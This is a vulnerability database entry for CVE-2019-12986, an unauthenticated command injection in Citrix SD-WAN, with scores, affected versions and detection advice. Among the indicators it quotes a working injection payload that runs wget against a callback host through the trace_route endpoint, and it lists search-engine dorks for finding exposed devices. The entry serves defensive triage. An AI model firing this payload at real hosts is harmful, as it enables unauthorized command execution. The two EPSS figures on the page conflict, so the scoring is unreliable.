cbcvebase.
CVE-2019-12986
published 2019-07-16

CVE-2019-12986: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).

PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
39.54%
98.4th percentile
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).

Affected

6 ranges
VendorProductVersion rangeFixed in
citrixcitrix_sd-wan
citrixnetscaler_adc_gateway
citrixnetscaler_sd-wan>= 10.0 < 10.0.810.0.8
citrixsd-wan
citrixsd-wan>= 10.2 < 10.2.310.2.3
citrixxenserver

Detection & IOCsextracted from sources · hover to see the quote

urlPOST /Collector/diagnostics/trace_route
path/Collector/diagnostics/trace_route
commandipAddress=%60/bin/wget+http://{{interactsh-url}}%60
  • Detect exploitation attempts by monitoring POST requests to /Collector/diagnostics/trace_route with shell metacharacters (backtick, pipe, semicolon) in the ipAddress parameter.
  • Confirm vulnerable host by checking HTTP response body for the string 'Citrix SD-WAN' on the /login endpoint.
  • Use Shodan/FOFA/Google dorks to identify exposed Citrix SD-WAN instances: Shodan: http.title:"Citrix SD-WAN", FOFA: title="citrix sd-wan", Google: intitle:"citrix sd-wan".
  • The attack chain requires two requests: first a GET to /login (likely for session/CSRF token), then a POST to /Collector/diagnostics/trace_route — monitor for this sequential pattern from the same source IP.
  • The vulnerability is unauthenticated (unauth tag); no session cookie or credentials are required to reach the vulnerable endpoint.
  • Monitor for outbound HTTP/DNS callbacks (OAST) from SD-WAN Center hosts following POST requests to /Collector/diagnostics/trace_route, indicating successful command injection via /bin/wget.
  • ·Vulnerability is exploitable without authentication; the attack routes through the Collector controller endpoint, which appears to be publicly accessible.
  • ·Affected versions are Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8; instances on these versions should be treated as unpatched and at critical risk.
  • ·This is issue 2 of 6 improper input validation findings in the same advisory (CTX251987), meaning additional vulnerable endpoints likely exist in the same product.
  • ·The EPSS score is 0.92134 (99.7th percentile), indicating this vulnerability is very likely to be exploited in the wild and should be prioritized for patching.

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
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